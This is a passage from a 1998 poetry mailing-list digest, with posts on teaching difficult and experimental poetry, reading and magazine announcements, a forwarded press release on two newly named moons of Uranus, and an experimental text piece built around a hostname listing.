86. **David Baratier**
Re: Understanding and Evaluating Poems
Mon 4 May 1998

Thanks Jordan. In short, an important piece flares large (insert here) things into question without specifically weighing itself down in the concept that it intends to do such and such. If enough folks get something from the piece, or enough folks who become well known cite it as an influence-- then voila-- you have the next Homer of our baseballish generative socio-economic understanding.

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87. Brian Lucas
Faucheuse #2
Mon 4 May 1998

FAUCHEUSE #2 is handmade is 150 pp is 7x11 is writing by:

Jonathan Williams. Marc Bolan. Michelle Grangaud. Paul Metcalf. David Grubbs. Jordan Davis. Matthew Rohrer. The Magic Parade. Franklin Bruno. Guy Bennett. Jennifer Moxley. Catherine Wagner. H.O. Pessy-Winching. Chelsey Minnis. Warren Liu. Brian Lucas. Crystal Parks. William Shakespeare trans. Damon Krukowski. Peter Gizzi. Carole Darricarrere. George Perec. Patsy Tense. Anita Drinque. Julia Ward. John Yau. Michael Palmer. Garrett Caples. Giovanni Sandri. Geoffrey Gordon O'Brien. Martin Corless-Smith. El Malmar. Cybele Knowles. MichaeI mean Michael Gizzi.

With art by: Naomi Yang. Ron Padgett & George Schneeman. Brian Lucas. Guy Bennett. Giovanna Sandri. Crystal Parks. Paul Metcalf. Reese S. McOchs. too many if you wish please send cash $8 or whatever you can plus or minus I don't quite care, day-mail shipping included in that 8, to:

Faucheuse 259-A Fair Oaks St San Francisco, CA 94110-2911

AN ANNOUNCEMENT TO THE GOOD FRIENDS OF IMMACULATE EVENING FOR YOUR PLEASURE & MAY FESTIVALS this is

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88. Peter Quartermain
Re: Tony Lopez
Tue 5 May 1998

Rae:

Tony Lopez,
85 Green Close
Exmouth
Devon EX8 3Qa
England
---
email:
[redacted]

Peter

At 06:03 PM 5/4/98 EDT, you wrote:
>Dear World,
>

> I'm trying to reach Tony Lopez sometime this week. Does anyone have an
>address?
>
> Rae Armantrout
>

+ + + +

The Shakespeare Conference: SHK 9.0423 Tuesday, 5 May 1998.

From: Mark Perew <[redacted]>
Date: Monday, 4 May 98 16:55:42 GMT
Subject: Caliban and Sycorax: Moons of Uranus

Cornell University News Service

Contact: David Brand
Office: [redacted]
E-Mail: [redacted]

FOR RELEASE: May 1, 1998

Caliban and Sycorax: Astronomers propose names for their two recently discovered icy moons of Uranus

ITHACA, N.Y.-Cornell University astronomer Philip Nicholson and his colleagues have proposed names for the two recently discovered moons of the planet Uranus. They are Caliban and Sycorax, both characters in Shakespeare's play "The Tempest." The names are likely to be approved by the International Astronomical Union.

The astronomers detail their discovery of the two moons in a report in the April 30 issue of the magazine Nature. They confirm that Caliban and Sycorax are the faintest planetary moons yet imaged by ground-based telescopes. The discovery of the two moons was reported on Oct. 31 by Nicholson and colleagues Joseph Burns, professor of engineering and astronomy at Cornell, Brett Gladman of the Canadian Institute for Theoretical Physics at the University of Toronto, and J.J. Kavelaars of McMaster University, Canada.

The team used light-sensitive semiconductors, called charge-coupled devices, attached to the 5-meter Hale telescope on Mount Palomar, Calif., to track the irregular, or non-circular, orbits of the two moons. Regular satellites orbit near a planet's equatorial plane. The two moons are the first irregular satellites discovered around Uranus.

Both Caliban and Sycorax, the astronomers write, are unusually red in color, which suggests a link with the recently discovered populations of comet-like bodies called trans-Neptunian objects, which orbit the sun beyond the orbit of Neptune, and Centaurs, which cross the orbits of the outer planets.

Both trans-Neptunians and Centaurs, say the researchers, have a wide range of reddish colors, perhaps resulting from the bombardment of their organic-rich icy surfaces. Nicholson says this bombardment could be from cosmic rays or from the sun's ultraviolet radiation. The methane on the moons' surfaces, he says, would be "cooked" by the radiation into hydrocarbons, showing up as a dark red through a telescope's filters.

The two moons, say the researchers, are presumed to have been captured by Uranus early in the history of the solar system. "My guess is that the moons were once trans-Neptunians and they became Centaurs and were captured by Uranus and became satellites," says Nicholson. Since the newly discovered moons are likely to have been captured by Uranus soon after its formation, the Nature article notes, "their physical properties may provide clues to conditions in the early solar system."

The process of capture could have taken two forms, Nicholson says. The moons could have been trapped by Uranus gravity as they came close to the planet. Another theory, he says, is that in the early days of the solar system Uranus might have been surrounded by a gaseous nebula that would have caused a drag on the objects' movement as they came close to the planet.

Nicholson estimates that Caliban, the smaller of the two moons, has a diameter of 60 kilometers (37 miles) and is orbiting Uranus at an average distance of about 7.2 million kilometers (4.5 million miles), taking 1.6 years to complete one revolution. Sycorax, he estimates, has a diameter of 120 kilometers (74.5 miles) and takes 3.5 years to complete one orbit of Uranus at a mean distance of about 12.2 million kilometers (7.5 million miles) from the planet. However, he says, Sycorax has a much more elliptical orbit than Caliban, bringing it as close as 6 million kilometers (3.7 million miles) to the planet.

The composition of the two moons, says Nicholson, "is probably a plum-pudding mixture of rocks and ice."

All 15 previously known satellites of Uranus lie on fairly evenly spaced, nearly circular orbits. Most recently Voyager 2, in 1985 and 1986, discovered 10 small, dark inner moons.

Jupiter has eight known irregular satellites, of which the last, Leda, was discovered in 1974. Saturn has one, Phoebe, discovered in 1898, and Neptune has one, Nereid, discovered in 1949.

To see images of the two newly discovered moons of Uranus, go to Gladman's page on the World Wide Web at http://www.cita.utoronto.ca/~gladman/uranus.html.

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91. **MAYHEW**

homage to creeley VIII

Tue 5 May 1998

VIII (shallow image)

As I say to my friend
freezing to death in the ancient waters
of Minneapolis/St. Paul, Minnesota:

"The darkness surrounds us
like naked stones
escaping in silence.

What are we to do?"
I buy some farm equipment
and sink into bitterness.

He says:
"For the love of sorrowing gods
throw me a life-jacket."

Jonathan Mayhew

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92. Maria Damon

Re: homage to creeley VIII

Tue 5 May 1998

At 10:58 AM -0500 5/5/98, MAYHEW wrote:
>VIII (shallow image)
>
>As I say to my friend
>freezing to death in the ancient waters
>of Minneapolis/St. Paul, Minnesota:
>
>"The darkness surrounds us
>like naked stones
>escaping in silence.
>
>What are we to do?"
>I buy some farm equipment
>and sink into bitterness.
>
>He says:
>"For the love of sorrowing gods
>throw me a life-jacket."
>
>
>
>Jonathan Mayhew

as my old grad school advisor, master of the one-word comment, used to scribble, "apt." did u know that the word "lake" is etymologically related to a "depression covered with water"?

↑ Index

93. KENT JOHNSON

Technique

Tue 5 May 1998

In a recent post, Mark Wallace wrote:

"My own experience leads me to believe that many of the techniques necessary to understand experimental literature can be taught, with about three hours of close attention, to reasonably intelligent college students..."

Mark:

I find the above statement intriguing, and I was hoping you could elaborate, particularly since I'm planning to teach from _Poems for the Millennium_. What are those reading techniques necessary to understanding experimental literature? How do you teach them? How would they be different from "techniques" applied to understanding "non-experimental" work? Are such techniques a sufficient means for having an "understanding" of "experimental" poems? And if they're not sufficient (I assume you wouldn't think they are?) would you see them, even, as _what is most important_ to understanding?

These techniques, do they equally work for Celan as for Berssenbrugge? For Zukofsky as for Spicer? For Bracho as for Mac Low? Some techniques for some writers and not for others? For some works and not for others?

Too many questions, but I'm asking because I frankly don't feel like I employ any particular technique when I read the above writers, nor do I necessarily ever feel like I "understand" them, since any sense of understanding I gain of the poetry I most admire is always sliding and shifting. I've always felt fairly OK with this, but your position would imply that I, for one, didn't learn what I could have learned. And it would have only taken me three hours! ("Well, shit," as Elizabeth Barret Browning says somewhere in _Sonnets from the Portuguese_...)

It might just be that I'm not understanding your sense of the tricky term. But when you teach experimental literature, what is it you would like your students to "understand"?

really curious,
Kent

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94. Herb Levy
Re: Responses to the Rosen essay
Tue 5 May 1998

(Something weird's happened to my out box, but it doesn't seem as if this went out. Sorry if this is a duplication.)

Taylor Brady's right that Charles Rosen is thinking strictly along "uptown" lines, but, hey, what would you expect from a concert pianist who wrote THE book on sonata form. It's not like he hangs out at Roulette or the Knitting Factory.

Brady goes on to write:

> *For example, one of Tony Conrad's or Phill Niblock's long-duration pieces gives up its secret fairly quickly: >within the first two or three seconds, you start to hear those difference tones and beats, and you "get it." The >question at that point is what one does with the remaining 45 minutes or so. Such work thus seems to >propose a value for in-time experience which tends to be correspondingly absent in much late serialism.*

Actually I think Niblock's music takes substantially longer that a few seconds to "get," though that may be all it takes to learn the vocabulary he's using. Once you've tuned into the beating & difference tones, each of his works has a distinctive shape of tension & release, built entirely from these basic elements. The structure of the beat patterns are the musical form of each of his works. If you're aren't "getting it" this larger structure, I'm not sure why you'd want to bother staying in a room with it playing, unless drones are just your thing.

Of course, the real way to hear his music is in the full Music and Film installation (on solstices at Experimental Intermedia in NY or frequently touring to odd art spaces around the world) - many hours of two or three films (gorgeously shot footage of people working usually, though there's one of a series of sunsets, and a few others) shown simultaneously while one piece of music after another is played much louder than you would at home, giving the sound a very physical feel. The music becomes something you're walking in the midst of, rather than simply hearing.

Conrad's music seems to me to be less about this kind of spatial thing & more just about the simple, small number, pitch ratios of just intonation and how dissonance can work within that system. Niblock's intervals won't resolve to small number ratios in this way, the pitches are much too closely packed (often only one or two cycles per second apart).

> *What does this have to do with poetry? How far can one push the analogybetween the avant-gardes of >different arts? I'm not really sure there's an answer to such questions, but as a means of pointing out the multiple degrees of difference which might be at stake here -- "there's*

> *difficulty and then there's difficulty" >-- the musical situation as (mis)addressed in Rosen's article seemed an interesting aside.*

Rosen's conclusion is that the growing lack of general music education (and, hence, the decrease in amateur musicians who understand performance issues) combined with the dwindling number of people who hear classical music performed live rather than on recordings is the cause for the decline in interest in all classical music, not just the avant garde.

I'm not sure the situation with "avant garde" poetry is the same. There's certainly a lot more talk about the growth of general interest in reading, writing, & performing poetry & I don't see this having a lot of impact one way or another on "avant garde" writing.

I still think people need to be taught that art is NOT always immediately discernable, that there's often a lot of poking around to be done. People aren't any more or less stupid than artists, but non-artists rarely learn how to think about non-normative art in a way that's useful to them. The standard dozen or twenty questions folks are taught to deal with literary texts will work for a lot of things, but I don't think they're much help with, say, Bruce Andrews or Susan Howe.

Bests,

Herb

Herb Levy
[redacted]

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95. Jordan Davis
POETRY CITY celebrates not national poetry month
Tue 5 May 1998

POETRY CITY

MAY 14 * 7 PM
Prageeta Sharma & Bernadette Mayer

MAY 21 * 6 PM
Lorenzo Thomas

MAY 28 * 7 PM
Tim Griffin & Joel Lewis

All events are free, but we ask that you buy a book from our selection of works by past and current readers.

Poetry City is located in the offices of Teachers & Writers Collaborative at 5 Union Square West, New York City. Hosting the series are Anna Malmude and Jordan Davis. Past readers have included Dan Bouchard, Steve Carll, Ange Mlinko, Juliana Spahr, Lisa Jarnot, Bill Luoma, Jennifer Moxley, Douglas Rothschild, Andrea Brady, Max Winter, Anselm Berrigan, Edmund Berrigan, Loren Goodman, Lee Ann Brown, Rod Smith, Drew Gardner, Julie Patton and Edwin Torres.

National Poetry Month is over! is over!

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96. k. lederer
NYC sublet for summer
Tue 5 May 1998

Hello. I poet friend of mine is looking for a summer sub-let in NYC (Manhatt... 2nd choice Brooklyn...).

He wants to pay between $600 and $900. He'll be living with his girlfriend--and is hoping for a place that would allow a cat. A studio, 1 bedroom, or 2 bedroom would be fine.

Please e-mail me with any possibilities for him...

Thanks,
Katy

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97. MAYHEW
I have had to learn the simplest things / last
Tue 5 May 1998

More on difficulty, technique, etc:

I am with Kent on this one; while it might be true that some difficulty is exaggerated and that one can teach clever students to read "difficult" texts quite easily in some cases, my own experience points to something quite different:

In some cases I have taken years to learn to read certain poets, while other times I encounter no resistance (in myself) at all. I have to be ready as a reader for a certain poet. I still don't *get* Olson, I confess. Spicer took me quite a while. This is a lifelong process, is my point.

Of course, I never had much help with most of this when I really needed it. If I had been lucky to have an intelligent teacher in college I might have caught on sooner.

But maybe we are talking about two different things. The sort of superficial obstacles that impede initial engagement vs. the prolonged difficulties caused by our own internal resistances to certain kinds of texts.

Any thoughts?

Jonathan Mayhew

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98. William Burmeister Prod

Re: I have had to learn the simplest things / last

Tue 5 May 1998

Reading poetry? (careful there, it can toast your eyeballs!)

That's a lifelong evolution as you say in your post.

The discovery principle is best but takes gads of time.

This reader just isn't convinced of the essentiality of poetics for the reader as such. Poetics, wonderful as it is, can certainly lead one to discover new poems/poets, but why must a poetics necessarily be defined that shows the reader the idiocy of his/her reading ways?

The reader's background and articulation, defense of position (and faith?) is to be considered, no?

How much poetics is written for the "pure" reader (if such a one exists).

The poetics trend now: poetics valorizes (and polarizes?) the poet.

One usually sees the relationship of the poem to the poetics not as being onto but into, which leaves the reader to make assumptions about connections that were never intended by the author.

William Burmeister

> *More on difficulty, technique, etc:*
>
> *I am with Kent on this one; while it might be true that some difficulty is exaggerated and that one can teach clever students to read "difficult" texts quite easily in some cases, my own experience points to something quite different:*
>
> *In some cases I have taken years to learn to read certain poets, while other times I encounter no resistance (in myself) at all. I have to be ready as a reader for a certain poet. I still don't *get* Olson, I confess. Spicer took me quite a while. This is a lifelong process, is my point.*

> *Of course, I never had much help with most of this when I really needed it. If I had been lucky to have an intelligent teacher in college I might have caught on sooner.*
>
> *But maybe we are talking about two different things. The sort of superficial obstacles that impede initial engagement vs. the prolonged difficulties caused by our own internal resistances to certain kinds of texts.*
>
> *Any thoughts?*
>
> *Jonathan Mayhew*

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99. Taylor Brady
Publication Announcement
Tue 5 May 1998

New at Cartograffiti:

Maria Damon & Miekal And -- Moss Goddess (part of the Literature Nation multi-site inter-writing project)

Linda Russo -- but i concern myself too much with beginnings / as i came along in the middle of many things (poems)

Alan Myouka Sondheim -- Five works in prose and a poem "inspired" by the Latin of Pannonius)

-- Taylor Brady
editor, Cartograffiti
http://writing.upenn.edu/AandL/english/pubs/spc/cartograffiti

(a publication of the Small Press Collective)
http://writing.upenn.edu/AandL/english/pubs/spc

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New at <I>Cartograffiti</I>:

<P>Maria Damon & Miekal And -- <I>Moss Goddess</I> (part of the <I>Literature Nation</I> multi-site inter-writing project)

<P>Linda Russo -- <I>but i concern myself too much with beginnings / as i came along in the middle of many things </I>(poems)

<P>Alan Myouka Sondheim -- Five works in prose and a poem "inspired" by the Latin of Pannonius)

<P>-- Taylor Brady

editor, <I>Cartograffiti</I>

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<P>(a publication of the Small Press Collective)

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.edu/AandL/english/pubs/spc</A>
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100. Thomas Bell
Re: what's difficult-
Wed 6 May 1998

An oblique perspective on the issue would come from looking at peots who are intentionally difficult and reasons why this might be. I'm sure that there are others who are difficult because they are difficult people. I know this applies to me - there are many who would attest to this. Some are difficult out of pretention - I may be guilty of this. But I do think there are legitimate artistic reasons for "being difficult". tom bell

At 12:03 PM 5/4/98 -0400, Mark Wallace wrote:
> Mark:
>
> Thanks for your response--it does clarify things somewhat. No need
>to apologize for any kind of misreading--that's the way things on this
>list go, is it not?
>
> Here is the offending sentence, in context, from my piece with
>Stephen-Paul Martin and Jeff Hansen:
>
> "It seems to me that one of the biggest and most commonly shared
>pretentions of avant garde writers is that our work is difficult and/or
>unreadable. But I think also that one of the biggest presumptions of more
>mainstream writers (journalists, for instance) is that their work is easy
>to understand.
> My own experience leads me to believe that many of the techniques
>necessary to understand experimental literature can be taught, with about

>three hours of close attention, to reasonably intelligent college students
>who show any willingness to engage with such literature. Of course, if
>you're not willing to give three hours of your whole life to try to
>understand something, then your inability (or, let's be honest,
>unwillingness) to understand it is your own fault, not mine."
>
> The first thing to say is that your post DID imply that the first
>sentence formed the basic argument of my whole piece--no need to worry
>that one anymore though, I take it as behind us. The second issue (and I
>suppose it's important, to you and me anyway), is how to read the first
>sentence, which I take it is what you took exception to.
>
> I think, from the vantage point of several years (we wrote the
>piece in 1994), that sentence seems to me something of an overstatement,
>although yes, it was written mainly as a way of finding a transition
>between Stephen-Paul's section and my own. From my present vantage point,
>I guess I have no proof how broad any assumption of "difficulty" is across
>the avant garde--but I CAN give you reasons why it seemed to me so at the
>time.
>
> Before I do that, I do also want to say that "difficulty" and
>"obscurity" and "unreadability" do NOT seem to me interchangeable words.
>I'm not against difficulty--I'm not even sure I'm against obscurity--but I
>think I would stress that some types of "difficulty" in reading are not
>such a bad thing, since a "difficult" text may in some cases simply mean a
>text that needs close and complex attention, and I can't see any problem
>with that. "Obscurity" I guess I would see as an attempt to make something
>hard to understand simply in order to make it hard to understand, rather
>than because the problems it raises are complex. That doesn't
>seem a good thing to me, although I suppose I can imagine an
>occasion when it might. "Unreadable" seems to me
>another term--I take it usually as a text in which some part of the piece
>can't be read (because the letters are covered up, say) as transparent
>conveyors of meaning, and so another way of "reading" (often a way of
>visually reading) becomes necessary.
>
> What Stephen-Paul speaks of is the pride that some individuals do
>take in being able to read that which others claim they cannot read--and
>take that as a point of pride too easily. He uses his graduate school
>experience as an example, and talks about people who try to prove that
>they are smart by proving that they can read "difficult" books. In my
>experience, such a thing did happen all the time. Although I greatly

>enjoyed much of my experience as a graduate student at UBuffalo,
>pretensions about such matters were entirely common--that may not have
>been true in your experience. There is, in graduate school (and outside?)
>a fairly pervasive problem of jockeying for position on the subject of how
>others perceive one's intelligence.
>
> There is, I think, too easy a leap from his claims about graduate
>school to his claims about avant garde poets more generally, and I think,
>because I was trying to make other points at the time, I didn't perhaps
>deal with that issue in the detail it may have deserved. At the same time,
>though, I do NOT think that it's an easy given that the community of
>"avant
>garde" poets all have a conception of their work as "easy to read,"
>although some perhaps do. I think the problem continues to exist as a
>problem--in a world in which claims about our elitism are thrown back at
>us constantly, there is still a need to watch out that we don't succubm
>too easily in believing in our own "difficulty" in the way that someone
>like Eliot, for instance, did. Which is, I take it, one of the points
>Stephen-Paul is trying to make.
>
> So I would agree with you that my first sentence in that dialogue
>contains an assumption it can't quite prove. That is, it can't prove how
>actually widespread the problem that Stephen-Paul raises--have we too
>easily accepted a certain notion about difficulty?--and thankfully you for
>one have not accepted such an assumption, and many others have not as
>well. But I still think that sentence is right to the extent that I do
>feel that the "pretension" it mentions does exist, and is one that needs
>to be argued against, as opposed to being seen as a given. And the reason
>I felt I needed to respond to your post in the first place was because the
>rest of my piece does try to undermine the whole concept of "difficulty,"
>but your post did not suggest that I had done so.
>
> Thanks for giving me this chance to elaborate--
>
> Mark Wallace
>
>
>/----------\
>| |
>| [redacted] |
>| GWU: |
>| http://gwis2.circ.gwu.edu/~mdw |

>| EPC: |
>| http://writing.upenn.edu/epc/authors/wallace |
>|_____|
>
>

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101. Alan Myouka Sondheim

Look at me! Do I want to say hello!

Wed 6 May 1998

-

Look at me! Do I want to say hello!

hosts Host Name Status Users Load Inet Addr ========== abyss.ecst.csuchico.edu -- -- -.- 132.241.1.34 apollo -- -- -.- 130.212.10.167 My name is Alan Myouka and I am a "very-fun loving person." I have many friends and live in Kingston, Pennsylvania. Just recently, I have discovered this wonderful thing we call the "Internet." I have made many friends and can just stay here, in "Kingston, Pennsylvan- ia," and talk to you from my home where I am now, in "Kingston"!! cati.csufresno.edu -- -- -.- 129.8.100.15 diana -- -- -.- 130.212.10.239 futon -- -- -.- 130.212.2.65 gol.com -- -- -.- 203.216.12.4 Here I am. I am having so much fun. It is so good to be here. I have come from Japan. I am a very fun-loving person. You have no idea how good it is to be here. I am very worried about the Asian crisis. Some of my friends are "crisis friends." I will tell you more!! joker -- -- -.- 130.212.3.40 kcd.com -- -- -.- 140.174.164.52 lewis -- -- -.- 130.212.12.27 libra -- -- -.- 130.212.10.238 lifesci.lscf.ucsb.edu -- -- -.- 128.111.226.5 math -- -- -.- 130.212.40.2 ocf.berkeley.edu -- -- -.- 128.32.191.249 opac -- -- -.- 130.212.18.200 orion -- -- -.- 130.212.10.236 panix.com -- -- -.- 166.84.1.66 Now I am in New York. How much fun it is to be in New York. Here in New York there are no "crisis friends." All my friends are perfect and happy in "crisis New York." I am very happy to say this!! panix3.panix.com -- -- -.- 166.84.1.68 I am, oh oh oh, still in New York. More than ever, happiness is here very perfect. There is no "crisis friends fun-loving person," but I am here, Alan Myouka, in my loft. No, haha, I am not. I am still in West-Coast happiness,

where there is no "crisis-loft." Such is my "fun- loving person" that I can be many places at times when I am there!! pv901.pv.reshsg.uci.edu -- -- -.- 128.195.182.226 rodin.ucdavis.edu -- -- -.- 128.120.4.17 sfsu-annex2 -- -- -.- 130.212.10.231 sfsu.edu -- -- -.- 130.212.10.239 shell12.ba.best.com -- -- -.- 206.184.139.143 slip.net -- -- -.- 207.171.193.17 slipnet.com -- -- -.- 207.171.193.17 stars -- -- -.- 130.212.16.12 taurus -- -- -.- 130.212.10.237 thecity -- -- -.- 130.212.2.101 I have never been here in "the city" but I will like to go to "there" because there will be no "crisis" as well. I would love these "Asian friends" to be with me in "crisis New York." I will be very happy. Did I tell you about "San Francisco"? It is known here as "crisis- city" because it is very "fun-loving." I will have another list for you so very soon!! uclink.Berkeley.EDU -- -- -.- 128.32.155.3 128.32.136.7 unix.worldnetoh.com -- -- -.- 192.147.147.45 venus -- -- -.- 130.212.18.97 zoo.uvm.edu -- -- -.- 132.198.101.63 132.198.101.64 kyushu.com 44: I want to know "everything"!!

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102. Charles Alexander

Re: release the strings

Wed 6 May 1998

Jordan wrote:

> *But Charles, I don't understand why compare Hardy favorably to Pound in order to dismiss Hardy.*

I didn't think I did that. did I do that? didn't mean to do that. I was just recalling an old exercise from a class when I was an undergraduate, looking at the Pound poem for Swinburne and the Hardy one (the titles don't come to mind right now) from various viewpoints with the question to find the 'better' poem. According to the various criteria, it was the Hardy poem -- the Pound poem is one of his earlier efforts, and does seem a bit overdone. But I hope I didn't then turn around and dismiss Hardy. I wouldn't consciously do that. I like Hardy's work a lot -- poems and prose. I don't have my post at hand, but I apologize for giving you the thought that I was dismissing Hardy.

charles
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing

books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

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103. beth lee simon
I have had to learn the simplest things / last
Wed 6 May 1998

Re reading/getting "difficult texts"--

This may have already been suggested (i've been off and on), but perhaps one of you could show/initiate/demonstrate your own beginning to read what had been, once, a difficult text.

beth

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104. R.Gancie/C.Parcelli
Q
Wed 6 May 1998

"The world as communicable is not, itself, the real world. The world conceived under the category of quantity is not, itself, a coherent world of experience." Michael Oakeshott---carlo

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105. Elizabeth Hatmaker
Re: Technique
Wed 6 May 1998

Mark (and whoever else wants to respond),

In addition to Kent Johnson's questions about how one teaches students to understand, I am curious about what possible outcomes there are to students understanding "difficult" texts-- to what ends do you teach "difficult" texts? So they can write that way too? So that they have the option of writing that way? So that teachers who are interested in "difficult" texts don't have to sit around talking with students about more standard hermanutically understood poems?

More specifically, what good is teaching "understanding" to literary production?

Elizabeth

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106. MAYHEW
a quiz
Wed 6 May 1998

Here is the first stanza from a poem in J. Ashbery's new collection:

Within a windowed niche of that high hall
I wake and feel the fell of dark, not day.
I shall rush out as I am, and walk the street
Hard by yon wood, now smiling as in scorn.
The lights begin to twinkle from the rocks
From camp to camp, through the foul womb of night.
Come, Sheperd, and again renew the quest.
_And birds sit brooding in the snow.__

Line six is from Henry the V, and the others shouldn't be too hard to find either. But I was never an "English" major...

Jonathan

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107. Henry Gould
Re: Technique
Wed 6 May 1998

What good is teaching "understanding" to literary production?

What good is literary production without understanding?

When I was in school interpreting texts and interpreting reality in class discussion went hand in hand. The parable is the simplest form of what these poems, novels, plays were about - putting a frame on reality, on experience, in order to interpret what it meant. What was beautiful or moving or ugly or powerful or paradoxical or confrontational was what the literary work expressed - the process of reading was a process of trying to understand where the author was going with this story - what meanings did it emphasize or point toward.

Do they still do this in school?

In this context "difficulty" for its own sake is pretty meaningless. The basic technique of irony is to weed out false or superficial readings of reality. An author presents a character or characters in a golden light - until you read between the lines. This is a kind of difficult writing. A poet may want to wrap his or her kernel of meanings or revelations in a number of layers of difficulty simply to emphasize how powerful or precious they are, how threatened by cliche. But difficulty for its own sake? That kind of difficulty is maybe not for

its own sake but for the sake of a cult or subculture of readers who ingest meaningless difficulty for the sake of renouncing the world and joining the club. This is not to say that writing itself is easy or that a writer will never take on various degrees of difficulty just for the sake of the challenge or that a writer will never risk plunging into obscurity or that a writer will never lose command of the medium or that plenty of great writing is just stupendously difficult or that difficulty is bad or that obscurity is bad or that my own poems are accessible, far from it. - Henry Gould

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108. **Rod4rigo**

Query: Heather Fuller's e-mail..?

Wed 6 May 1998

Does anyone have Heather Fuller's e-mail...or mail address...?

Backchannel...

Much Appreciated...

Rodrigo Toscano

↑ Index

109. **Jordan Davis**

why patterns?

Wed 6 May 1998

It sounds as though we are in a rethink time in regard to the teaching of poetry. I would like to say something provocative about the necessity of teaching the history of contemporary American poetry, but it sounds too smugly perverse to me to fill out that form with the last moments of my lunch break. So -- why teach difficult poetry? Difficulty's relative, right? That, I think, is what Mark was getting at -- sure, poetry can be hard to read, try the newspapers, they're worse. It used to be a sign of brain damage in New York City if you failed to read the Times every day -- now it's more likely you're a conscientious objector, complaining to someone about the irony on NPR. People teach what they read, or what they want to read, or so they tell me. Why grandstand?

anyway, anybody else have a look at Brian Kim Stefans' new site,

http://www.stern.nyu.edu/~bstefans

? I had trouble with the java, but otherwise, huh, wow, and huh.

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110. **Pritchett,Patrick**
Re: Technique
Wed 6 May 1998

This doesn't really address your query, Elizabeth. Just some random blathering:

The argument traditionally offered about difficulty is that the pleasure yielded exists in exact proportion to the effort exerted in obtaining "understanding" or clarity. I find this still to be true even if the text in question is no longer one that can be read by the old & familiar hermeneutical strategies. The goal, though, is no longer "clarity" i.e. a way to paraphrase content. It is rather to stand in a whole new relation to form and to language itself. (Hejinian: "the poetics of possibility"). To interpret a text is only one way to relate to it. A "difficult" text that defies or mocks those strategies invites a different way to relate to it. A different way _into_ language.

The kind of postmodern texts under discussion here (pick a card, any card) aren't merely opaque or obscure. They call into question the whole idea of relating to texts that way. Difficult then becomes (as with the modernists) a synonym for the New. How difficult -or weird- was E=mc2 in its day? The reason I guess I use that example is that it offers a new model of relatedness, of the possibilities for relating, and I think that radical new forms of language must perform the same task. So, teaching Stein's "Stanzas" in an Intro to Poetry class alongside of Sandburg's "The Grass" (instead of just Sandburg) would offer a student alternate models for thinking about relatedness, networks of words, the construction of meaning (or its lack), and the way, above all, that language set in motion tends to _play_. This is not difficult but exciting. (Memo to self: compare rise of Dr. J, Connie Hawkins-style b-ball in 70's with emergence of LangPo). (Second memo to self: include effects of Title IX vis-a-vis women's sports).

Everything risable must diverge,
Patrick Pritchett

From: Elizabeth Hatmaker
To: [redacted]
Subject: Re: Technique
Date: Wednesday, May 06, 1998 10:36AM

Mark (and whoever else wants to respond),

In addition to Kent Johnson's questions about how one teaches students to understand, I am curious about what possible outcomes there are to students understanding "difficult" texts-- to what ends do you teach "difficult" texts? So they can write that way too? So that they have the option of writing that way?

So that teachers who are interested in "difficult" texts don't have to sit around talking with students about more standard hermanutically understood poems?

More specifically, what good is teaching "understanding" to literary production?

Elizabeth

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111. J. Fuhrman
Re: I have had to learn the simplest things / last
Wed 6 May 1998

One way I sometimes cope with texts in which I have difficulty understanding the poetics at work is to try imitating them. I think this method can sometimes work (for some students...) in the classroom...It's a way of talking about texts without first talking about meaning. Unfortunately, I find that students are often able to do fine imitations but then aren't able to take the next step and intellectualize the process.For example, in their imitation they may pick up that a poet is juxtaposing diction/tone but they won't be able to verbalize what the effect of this juxtaposition is or even that juxtaposition is happening.

On Wed, 6 May 1998, beth lee simon wrote:

> *Re reading/getting "difficult texts"--*
>
> *This may have already been suggested (i've been off and on), but perhaps one of you could show/initiate/demonstrate your own beginning to read what had been, once, a difficult text.*
>
> *beth*

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112. Judy Roitman
Re: Technique
Wed 6 May 1998

> *A*
> *different way _into_ language.*

How about _out of_ language? Or _through_ language. Or...

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,

1927-1996 ---------- Note new area code ----------
http://www.math.ukans.edu/~roitman/

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113. **Michael Magee**
Re: Technique/Difficulty
Wed 6 May 1998

A few thoughts on difficulty & technique. To me, difficulty is a kind of prerequisite to possibility. That the poem might be more than a handshake between writer & reader. Rather, elaborate hand-signals, or palm slapping games which writer begins, reader modifies, etc. Technique, then, proposes parameters for play. What is a game? In part an admission that Connor O'Tation might, under the reader's foster care, grow up, get a sex-change, and change his/her name to Dee Notation. But also a taking-advantage of the democratic possibilities of that fact, that bit of fate. Similarly a joke: never the joke's on you or me, but, the joke's on us. Any static between interpretation and intention is less like scraping friction and more an issue of distance between radio and signal, *space* being the variable and deciding factor between noise and reception: music becomes a matter of moving on, adjusting the dial, directional guesswork. Difficulty, then, is related to poetry's potential agency, its ability to affect, set in unanticipated motion, an audience: the difference between "eating that fig newton changed my life" and "eating that wrench changed my life" is what I have in mind. Let there be a few wrenches between the participants, I say, a series of necessary adjustments, in the getting there.

-m.

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114. **David Zauhar**
Re: Technique
Wed 6 May 1998

On Wed, 6 May 1998, Elizabeth Hatmaker wrote:

> *In addition to Kent Johnson's questions about how one teaches students to understand, I am curious about what possible outcomes there are to students understanding "difficult" texts-- to what ends do you teach "difficult" texts? So they can write that way too? So that they have the option of writing that way? So that teachers who are interested in "difficult" texts don't have to sit around talking with students about more standard*

> *hermanutically understood poems?*
> *More specifically, what good is teaching "understanding" to literary production?*

I just finished teaching a course called "Gender Sexuality and Literature" using mostly poetry (The Odyssey, Sappho, Walt Whitman, HD's Helen in Egypt, Stein's Tender Buttons, Ginsberg's Howl & Other Poems, Niedecker's Granite Pail and Harryette Mullen's Muse and Drudge). Why Stein? Why also Mullen's work? (which isn't exactly "easy" the same way "Stopping By Woods on a Snowy Evening" is {allegedly} easy). 1) I wanted to introduce the idea of l'ecriture feminine into this class, which consisted of 50% women's studies majors w/ at least as solid a grasp of Cixous, Kristeva, et.al. as I have and 2) I wanted to re-emphasize the point that "reading" is often in improvisational activity, and not something to be performed unconsciously (when I read a newspaper, I'm not conscious that I'm reading, but when I'm reading Tender Buttons, I know) The objective was not "to teach students to write that way" though one of the ways into Stein's work was imitation (Tender Buttonesque passages on objects in the room: a map, a pretzel, a hockey puck). Nor was it so I could avoid talking about set pieces. My main objective was to show that there are different ways of relating to language. The experience was unsettling at first (throughout, for some students), but with the help of Judy Grahn's pointers found in her book _Really Reading Gertrude Stein_, most of the students seemed to get the idea that it was possible to read a work without being expected to find some final, terminal 